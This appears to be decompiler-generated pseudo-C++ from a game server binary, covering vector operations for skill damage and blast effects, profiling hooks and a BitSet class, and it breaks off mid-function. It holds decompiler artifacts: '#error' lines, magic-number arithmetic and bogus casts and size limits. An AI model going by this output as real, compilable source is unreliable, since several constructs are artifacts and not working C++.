std::vector > *v4; // esi@1 unsigned int v5; // edx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ebx@1 unsigned int v7; // ecx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 int v15; // ebx@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v16; // ST18_4@22 int v17; // eax@22 int v18; // edi@24 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v19; // ecx@27 std::vector >::iterator v20; // ebx@27 signed int v21; // edx@27 unsigned int v22; // ST28_4@28 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v23; // ST24_4@28 unsigned int v24; // edx@28 int v25; // [sp-Ch] [bp-2Ch]@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Tmp; // [sp+0h] [bp-20h]@1 int *v27; // [sp+10h] [bp-10h]@1 int v28; // [sp+1Ch] [bp-4h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Wherea; // [sp+28h] [bp+8h]@29 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr; // [sp+2Ch] [bp+Ch]@22 void *_Newvec; // [sp+30h] [bp+10h]@22 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Newveca; // [sp+30h] [bp+10h]@27 v4 = this; v5 = _Val->hpchange; v6 = this->_Myfirst; *(_DWORD *)&_Tmp.handle = *(_DWORD *)&_Val->handle; v7 = _Val->resthp; _Tmp.hpchange = v5; LOWORD(v5) = _Val->hpchangeorder; v27 = &v25; _Tmp.resthp = v7; _Tmp.hpchangeorder = v5; if ( v6 ) { v9 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) - (unsigned int)v6)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v6 ) v11 = v4->_Mylast - v4->_Myfirst; else v11 = 0; if ( 306783378 - v11 < _Count ) std::vector>::_Xlen(v4); if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v8 >= _Count + v12 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 3; _Newveca = v4->_Mylast; if ( v21 + ((unsigned int)v21 >> 31) >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 14 * _Count)); std::_Copy_backward_opt( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&v20, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&v20 + 14 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v19, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(*(_DWORD *)&_Where + 14 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(14 * _Count)); v22 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 14; v23 = v4->_Mylast; v28 = 2; std::vector>::_Ufill( v4, v23, v22, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v24; std::fill( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(v24 - 14 * _Count), &_Tmp); } } else { if ( 306783378 - (v8 >> 1) >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v4->_Myfirst ) v14 = v4->_Mylast - v4->_Myfirst; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size(v4); v15 = 14 * v13; _Newvec = operator new(14 * v13); v16 = v4->_Myfirst; v28 = 0; _Ptr = std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v16, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v10, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage **)&_Where, v4->_Mylast, &_Ptr[v10], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 14; v18 = v17 + v10; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + v15); v4->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Newvec + 14 * v18); v4->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Newvec; } } } //----- (00427010) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillEffectEraser::_SkillEffectEraser(SkillEffectApply::SkillEffectEraser *this) { std::vector >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::vector >::iterator)this; std::vector>::erase( this->see_List, &result, this->see_Skill); } //----- (00427030) -------------------------------------------------------- #error "427030: undefined or illegal type '#740' (funcsize=78)" //----- (00427170) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // eax@3 void *v4; // eax@6 SkillEffectApply::SkillBlastEffect *v5; // ST04_4@6 SkillEffectApply::SkillBlastEffect *v6; // ST00_4@6 SkillEffectApply::SkillBlastEffect *v7; // ebx@6 int v8; // edi@7 signed int v9; // edx@8 SkillEffectApply::SkillBlastEffect *v10; // ecx@10 SkillEffectApply::SkillBlastEffect *v11; // eax@10 char *v12; // ecx@13 char *v13; // edi@13 int v14; // [sp-Ch] [bp-20h]@1 char *_Ptr; // [sp+0h] [bp-14h]@6 int *v16; // [sp+4h] [bp-10h]@1 int v17; // [sp+10h] [bp-4h]@6 v16 = &v14; v2 = this; if ( _Count > (unsigned int)&wholesaver.ws_savestore[435].esc_abstate.buffer[9968] ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (SkillEffectApply::SkillBlastEffect *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = operator new(100 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; _Ptr = (char *)v4; v17 = 0; std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( v6, v5, (SkillEffectApply::SkillBlastEffect *)v4, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Count); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1374389535i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 5; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { v10 = v2->_Mylast; v11 = v2->_Myfirst; if ( v7 != v10 ) { do ++v11; while ( v11 != v10 ); } operator delete(v2->_Myfirst); } v12 = _Ptr; v13 = &_Ptr[100 * v8]; v2->_Myend = (SkillEffectApply::SkillBlastEffect *)&_Ptr[100 * _Count]; v2->_Mylast = (SkillEffectApply::SkillBlastEffect *)v13; v2->_Myfirst = (SkillEffectApply::SkillBlastEffect *)v12; } } //----- (00427280) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // eax@3 unsigned int v4; // ebx@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ST04_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // ST00_4@6 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // eax@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp-Ch] [bp-1Ch]@1 int *v11; // [sp+0h] [bp-10h]@1 int v12; // [sp+Ch] [bp-4h]@6 void *_Ptr; // [sp+18h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0x12492492 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 14 * _Count; _Ptr = operator new(14 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>( v6, v5, (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((char *)v2->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) - (unsigned int)v7)) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v2->_Myfirst ) operator delete(v2->_Myfirst); v2->_Myend = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + v4); v2->_Mylast = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)((char *)_Ptr + 14 * v8); v2->_Myfirst = (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)_Ptr; } } //----- (00427370) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // ebx@1 SkillEffectApply::SkillBlastEffect *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 unsigned int v8; // esi@4 int v9; // eax@6 int v10; // eax@11 int v11; // edi@15 int v12; // eax@18 SkillEffectApply::SkillBlastEffect *v13; // ST14_4@22 SkillEffectApply::SkillBlastEffect *v14; // ecx@22 int v15; // eax@23 int v16; // esi@25 SkillEffectApply::SkillBlastEffect *v17; // edx@26 SkillEffectApply::SkillBlastEffect *v18; // eax@26 SkillEffectApply::SkillBlastEffect *v19; // ecx@30 std::vector >::iterator v20; // edi@30 SkillEffectApply::SkillBlastEffect *v21; // ecx@31 SkillEffectApply::SkillBlastEffect *v22; // ST20_4@31 unsigned int v23; // esi@31 int v24; // [sp-Ch] [bp-80h]@1 SkillEffectApply::SkillBlastEffect _Tmp; // [sp+0h] [bp-74h]@1 int *v26; // [sp+64h] [bp-10h]@1 int v27; // [sp+70h] [bp-4h]@22 SkillEffectApply::SkillBlastEffect *_Wherea; // [sp+7Ch] [bp+8h]@32 SkillEffectApply::SkillBlastEffect *_Ptr; // [sp+80h] [bp+Ch]@22 void *_Newvec; // [sp+84h] [bp+10h]@22 SkillEffectApply::SkillBlastEffect *_Newveca; // [sp+84h] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v26 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1374389535i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[435].esc_abstate.buffer[-v9 + 9968] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 100 >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( &v19[-_Count], v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 100 * _Count)); std::copy_backward( *(SkillEffectApply::SkillBlastEffect **)&v20, _Wherea, _Newveca); std::fill( *(SkillEffectApply::SkillBlastEffect **)&v20, (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&v20 + 100 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( *(SkillEffectApply::SkillBlastEffect **)&_Where, v19, (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&_Where + 100 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(100 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v27 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 100, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)v23; std::fill( *(SkillEffectApply::SkillBlastEffect **)&_Where, (SkillEffectApply::SkillBlastEffect *)(v23 - 100 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[435].esc_abstate.buffer[-(v6 >> 1) + 9968] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(100 * v11); v13 = v4->_Myfirst; v27 = 0; _Ptr = std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( v13, *(SkillEffectApply::SkillBlastEffect **)&_Where, (SkillEffectApply::SkillBlastEffect *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>( *(SkillEffectApply::SkillBlastEffect **)&_Where, v4->_Mylast, &_Ptr[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + 100 * v11); v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + 100 * v16); v4->_Myfirst = (SkillEffectApply::SkillBlastEffect *)_Newvec; } } } //----- (00427640) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 std::vector >::iterator v6; // ebp@10 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // edi@11 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 ) { v6 = (std::vector >::iterator)this->_Mylast; if ( _Newsize < this->_Mylast - v3 ) { v7 = &v3[_Newsize]; if ( v7 != (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v6 ) this->_Mylast = std::_Copy_opt( v6, v6, v7, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (004276F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // edi@1 SkillEffectApply::SkillBlastEffect *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1374389535i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00427760) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val) { SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00427800) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this) { this->sds_List._Myfirst = 0; this->sds_List._Mylast = 0; this->sds_List._Myend = 0; std::vector>::reserve( &this->sds_List, 0x32u); } //----- (00427850) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this) { std::vector > *v1; // esi@1 _BYTE v2[14]; // ST04_14@1 v1 = (std::vector > *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillDamageSender::sds_Initialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = 0; *(_TBYTE *)&v2[4] = 0.0; std::vector>::resize( v1, 0, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); } //----- (00427900) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this) { this->sbec_List._Myfirst = 0; this->sbec_List._Mylast = 0; this->sbec_List._Myend = 0; std::vector>::reserve( &this->sbec_List, 0x64u); } //----- (00427950) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 SkillEffectApply::SkillBlastEffect *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1374389535i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004279E0) -------------------------------------------------------- #error "4279E0: undefined or illegal type '#740' (funcsize=336)" //----- (00427EB0) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(SkillEffectApply::SkillBlastEffectContainer *this) { SkillEffectApply::SkillBlastEffectContainer *v1; // ebx@1 int v2; // ebp@2 int v3; // eax@5 int v4; // ecx@7 unsigned __int16 v5; // ax@12 int v6; // eax@13 int v7; // ecx@17 bool v8; // sf@28 unsigned __int8 v9; // of@28 int v10; // eax@29 SkillEffectApply::SkillBlastEffect v11; // [sp-70h] [bp-13Ch]@32 std::vector >::iterator *v12; // [sp-14h] [bp-E0h]@6 std::vector >::iterator v13; // [sp-10h] [bp-DCh]@6 std::vector >::iterator result; // [sp+4h] [bp-C8h]@3 int k; // [sp+8h] [bp-C4h]@1 SkillEffectApply::SkillBlastEffectContainer *v16; // [sp+Ch] [bp-C0h]@5 int v17; // [sp+10h] [bp-BCh]@5 FunctionEntarance _; // [sp+14h] [bp-B8h]@1 char v19; // [sp+18h] [bp-B4h]@32 int v20; // [sp+44h] [bp-88h]@32 int v21; // [sp+48h] [bp-84h]@32 int v22; // [sp+4Ch] [bp-80h]@32 int v23; // [sp+50h] [bp-7Ch]@32 int v24; // [sp+54h] [bp-78h]@32 int v25; // [sp+58h] [bp-74h]@32 int v26; // [sp+5Ch] [bp-70h]@32 int v27; // [sp+60h] [bp-6Ch]@32 int v28; // [sp+64h] [bp-68h]@32 int v29; // [sp+68h] [bp-64h]@32 int v30; // [sp+6Ch] [bp-60h]@32 int v31; // [sp+70h] [bp-5Ch]@32 int v32; // [sp+74h] [bp-58h]@32 int v33; // [sp+78h] [bp-54h]@32 SetItemData::SkillEffect tmp; // [sp+7Ch] [bp-50h]@1 int v35; // [sp+C8h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v35 = 0; memcpy(&tmp, &setitemskilleffect, sizeof(tmp)); LOBYTE(v35) = 1; k = 0; do { v2 = (int)v1->sbec_List._Myfirst; if ( !v2 ) break; result = (std::vector >::iterator)((signed int)((char *)v1->sbec_List._Mylast - v2) / 100); if ( !*(_DWORD *)&result ) break; if ( *(_DWORD *)v2 > clockwatch.cw_CurrTick ) break; v17 = v2; v16 = v1; v3 = *(_DWORD *)(v2 + 8); LOBYTE(v35) = 2; if ( v3 ) { v4 = *(_DWORD *)(v2 + 16); if ( !v4 || (unsigned __int8)(*(int (**)(void))(*(_DWORD *)v4 + 768))() || (*(int (**)(void))(**(_DWORD **)(v2 + 16) + 836))() != *(_DWORD *)(v2 + 12) ) goto LABEL_27; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 16) + 1136))() == 1 || (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 16) + 1136))() == 2 ) { v5 = (*(int (**)(void))(**(_DWORD **)(v2 + 16) + 2768))(); if ( v5 < 0x80u && (v6 = 72 * v5 + 307018304) != 0 && *(_WORD *)v6 == *(_WORD *)(*(_DWORD *)(v2 + 16) + 4) ) memcpy(&setitemskilleffect, (const void *)(v6 + 4), sizeof(setitemskilleffect)); else SetItemData::SkillEffect::se_Clear(&setitemskilleffect); v7 = *(_DWORD *)(v2 + 28); if ( !v7 ) { SkillEffectApply::SkillDamageSender::sds_Initialize(&skilldamagesender); SkillEffectApply::SkillBlastEffect::sbe_BlastLocate((SkillEffectApply::SkillBlastEffect *)v2); goto LABEL_26; } if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)v7 + 768))() && (*(int (**)(void))(**(_DWORD **)(v2 + 28) + 836))() == *(_DWORD *)(v2 + 24) && (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v2 + 28) + 1136))() ) { SkillEffectApply::SkillDamageSender::sds_Initialize(&skilldamagesender); SkillEffectApply::SkillBlastEffect::sbe_BlastObject((SkillEffectApply::SkillBlastEffect *)v2); LABEL_26: SkillEffectApply::SkillDamageSender::sds_Finish(&skilldamagesender, (SkillEffectApply::SkillBlastEffect *)v2); (*(void (**)(void))(**(_DWORD **)(v2 + 16) + 2772))(); LABEL_27: v13 = (std::vector >::iterator)v2; v12 = &result; goto LABEL_28; } if ( !*(_DWORD *)(v2 + 44) ) (*(void (__stdcall **)(signed int))(**(_DWORD **)(v2 + 16) + 2744))(4043); } v13 = (std::vector >::iterator)v2; v12 = &result; } else { v13 = (std::vector >::iterator)v2; v12 = &result; } LABEL_28: LOBYTE(v35) = 1; std::vector>::erase( &v1->sbec_List, v12, v13); v9 = __OFSUB__(k + 1, 10); v8 = k++ - 9 < 0; } while ( v8 ^ v9 ); v10 = (int)v1->sbec_List._Myfirst; if ( v10 ) v10 = (signed int)((char *)v1->sbec_List._Mylast - v10) / 100; result = (std::vector >::iterator)((unsigned int)v10 < 0x12C); if ( (unsigned int)v10 >= 0x12C ) { AssertClass::ac_AssertFail( &shineassert, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine : Too many skill reserved", 0); v23 = 412; v26 = 412; v29 = 412; v32 = 412; v22 = 0; v24 = 0; v25 = 0; v27 = 0; v28 = 0; v30 = 0; v31 = 0; v33 = 0; v20 = -1; v21 = 1000; memcpy(&v11, &v19, sizeof(v11)); std::vector>::resize( &v1->sbec_List, 0, v11); } memcpy(&setitemskilleffect, &tmp, sizeof(setitemskilleffect)); LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tmp); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_Routine"); } //----- (00428200) -------------------------------------------------------- void __thiscall BitSet::BitSet(BitSet *this, int maxbit) { int v2; // eax@1 this->bs_maxbit = maxbit; v2 = (maxbit + 7) / 8; this->bs_maxbyte = v2; this->bs_bitlist = (char *)operator new(v2); } //----- (00428230) -------------------------------------------------------- void __thiscall BitSet::_BitSet(BitSet *this) { operator delete(this->bs_bitlist); } //----- (00428240) -------------------------------------------------------- void __thiscall BitSet::bs_clear(BitSet *this) { unsigned int v1; // eax@1 v1 = 0; if ( this->bs_maxbyte ) { do this->bs_bitlist[v1++] = 0; while ( v1 < this->bs_maxbyte ); } } //----- (00428260) -------------------------------------------------------- bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd) { return bd->bd_Act == 0; } //----- (00428270) -------------------------------------------------------- char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy) { signed int v2; // esi@2 signed int v3; // eax@2 char *v4; // edi@2 int v5; // edx@5 unsigned int v6; // edi@7 unsigned int v7; // eax@8 char *v8; // eax@8 int v9; // edx@8 int v10; // edx@8 signed int v11; // eax@8 int v12; // esi@9 char *v13; // edx@12 __int64 v14; // qax@17 __int64 v15; // qax@17 int emptycellnum[4]; // [sp+10h] [bp-10h]@4 if ( this->bd_Brenchs ) { while ( 2 ) { v2 = 0; v3 = 0; v4 = (char *)this->bd_Brench; do { if ( *(_DWORD *)v4 ) { v5 = *(_WORD *)(*(_DWORD *)v4 + 26); emptycellnum[v3] = v5; v2 += v5; } else { emptycellnum[v3] = 0; } ++v3; v4 += 